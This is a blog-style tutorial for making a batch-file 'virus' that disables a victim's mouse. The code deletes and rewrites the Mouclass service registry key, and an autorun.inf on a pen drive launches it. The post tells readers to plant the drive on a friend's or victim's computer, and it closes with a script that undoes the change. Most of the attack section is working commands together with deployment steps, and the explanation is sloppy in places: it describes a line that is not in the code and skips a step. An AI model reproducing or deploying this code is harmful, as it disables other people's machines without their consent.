Let's come to the point. Today i am going to guide you how to disable your victim's or friend's (whoever) mouse,whenever he inserts pen drive. You can call it as virus which will disable the mouse.
How we are going to do?
We are going to create this virus using our usual Batch programming. In this post i am not only giving you simply the code but also explanation for the Batch program. So I hope that this post will make you happy.
Batch Programming Code:
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Explanation about this code
"@echo off" This command will either turn ON, or OFF the command you put in a batch file from showing itself. (don't confuse now,batch programming intro will make you clear).
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" will access the registry stored in this location"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
The third line of our code is "reg delete %key%" . This will delete the key in the MouseClass from registry.
"reg add %key% /v Start /t REG_DWORD /d 4" creates a new key with
Binary value name as "start" ,
type is "REG_DWORD"
and data as "4" (actually the fore will be stored in hexadecimal format, 0×00000004).
The Procedure to create this virus:
Okay now we will see the what are the procedure to follow in order to make this virus perfectly work in victim pc.
Step 1:
- Copy the Batch code into notepad.
- Save it as .bat extension (for eg: clickme.bat)
Now open the notepad and copy this code:
Open=filename.bat
Action=Mouse Disable
Save it as "autorun.inf"
//don't forget to change the "filname.bat" with your filname.bat.
Step 3:
Then copy the two files in your pen drive or victim's pen drive.
That's all we have finished. Now bring your pen drive to your friend or victim home. Now whenever the mouse is inserted ,the mouse will be disabled.
How to recover from this attack?
Sorry for mentioning this fun as attack. To recover from this attack ,you can follow these steps:
Copy this code into the notepad:
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1
and save it with .bat extension(for eg: release.bat).
now open this batch will re-enable the mouse actions.
0 comments: